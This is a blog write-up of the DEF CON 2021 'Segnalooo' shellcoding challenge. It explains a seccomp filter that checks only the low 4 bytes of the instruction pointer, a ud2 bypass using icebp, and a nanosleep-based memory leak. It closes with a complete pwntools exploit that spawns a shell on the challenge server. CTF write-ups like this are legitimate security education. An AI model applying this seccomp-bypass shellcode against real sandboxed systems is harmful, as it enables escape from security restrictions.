mhibio

# Do what I have to do

github instagram
[2021 Defcon] Segnalooo
2021 Defcon Pwnable shellcoding UD2
May 6, 2021
3 minutes read

It’s the first problem I solved at Defcon.
and, Because I played the defcon, I messed up the exam.😂

Solved with Jsec, Epist

Tl;dr

Trick on Seccomp Filter’s check.
Brute force shellcoding challenge.
Excute execveat(0, "/bin/sh", 0, 0, 0) after bypass seccomp filter.

Binary

  1. Set Signal Handler on Signum 5 ( SIGTRAP )
  2. Allocate Memory twice ( addr1 : 0x10XXXXXXXXXX, addr2 : 0x5XXXXXXXXXXX )
    1-1. Input our Shellcode.
  3. Munmap all Memory except addr1, addr2
  4. Call Signal Handler with int3
  5. After Signal Handler, IP returns to our Shellcode.
    => There is two Problems. ( Seccomp filter, ud2 instruction )

Seccomp Filter

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x08 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0004: 0x15 0x06 0x00 0x0000000b  if (A == munmap) goto 0011
 0005: 0x15 0x05 0x00 0x00000023  if (A == nanosleep) goto 0011
 0006: 0x20 0x00 0x00 0x00000008  A = instruction_pointer
 0007: 0x25 0x04 0x00 0x80000000  if (A > 0x80000000) goto 0012
 0008: 0x20 0x00 0x00 0x00000000  A = sys_number
 0009: 0x15 0x02 0x01 0x0000003b  if (A == execve) goto 0012 else goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

Only munmap and nanosleep Syscall are available.
or, Instruction_Pointer(IP) have to be smaller than 0x80000000

But, all Memory is bigger than 0x80000000.
All Syscall gadgets fail to bypass IP CHECK.
How can I bypass IP check?

One interesting thing is that Seccomp only do 4 bytes of ip check.

So we can bypass IP CHECK by using a syscall gadget in 0x10XXXXXXXXXX.
( Binary always causes 4 bytes of addr1 address (0x10XXXXXXXXXX) to be smaller than 0x80000000 )

ud2 instruction

ud2 instruction means undefined instruction.
when IP returns to our shellcode, ud2 instruction is executed.
-> Process stopped with exit code -4 ( SIGILL )

But, we can execute only 1 instruction.
if we execute icebp (0xf1), we can escape ud2 instruction.

leak memory

if nanosleep's rdi is invalid memory, return 0xfffffffffffffff2.
else nanosleep's rdi is valid memory but failed nanosleep, return 0xffffffffffffffea.

so we can leak memory 0x10XXXXXXXXXX by brute force
then, just excute execveat(0, "/bin/sh", 0, 0, 0)

Exploit

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'error'

def pack64(x):  return p64(x).encode("hex")

sc = '''
inc edi
shl rdi, 44
mov rsi, rsp

add rdi, 0x1000
xor rax, rax
mov al, 35
syscall

cmp al, 0xea
'''

sc2 = '''
lea rbx, [rdi+0xb4]
lea rsi, [rsp+0x30]
xor rdi, rdi
xor eax, eax
mov ax, 322
jmp rbx
nop

'''

pay = "f1"+ asm(sc).encode("hex") + "7405e9e6ffffff" + asm(sc2).encode("hex")
pay += "41"*(0x40 - (len(pay) // 2))
pay += pack64(0)
pay += "90"*0x20
pay += "2f62696e2f7368" #binsh

while True:
    #p = process('./stub')
    p = remote("segnalooo.challenges.ooo", 4321)
    p.sendlineafter("Give me some code!\n", pay)
    p.recvline()
    for i in range(10):
            p.sendline("while read line;do echo \"$line\";done < /flag")
    res = p.recv(1024, timeout=1)
    if len(res) != 0:
            print(res)
            exit()

Flag : OOO{s3riously,wh4tISsigaltstack???}


Back to posts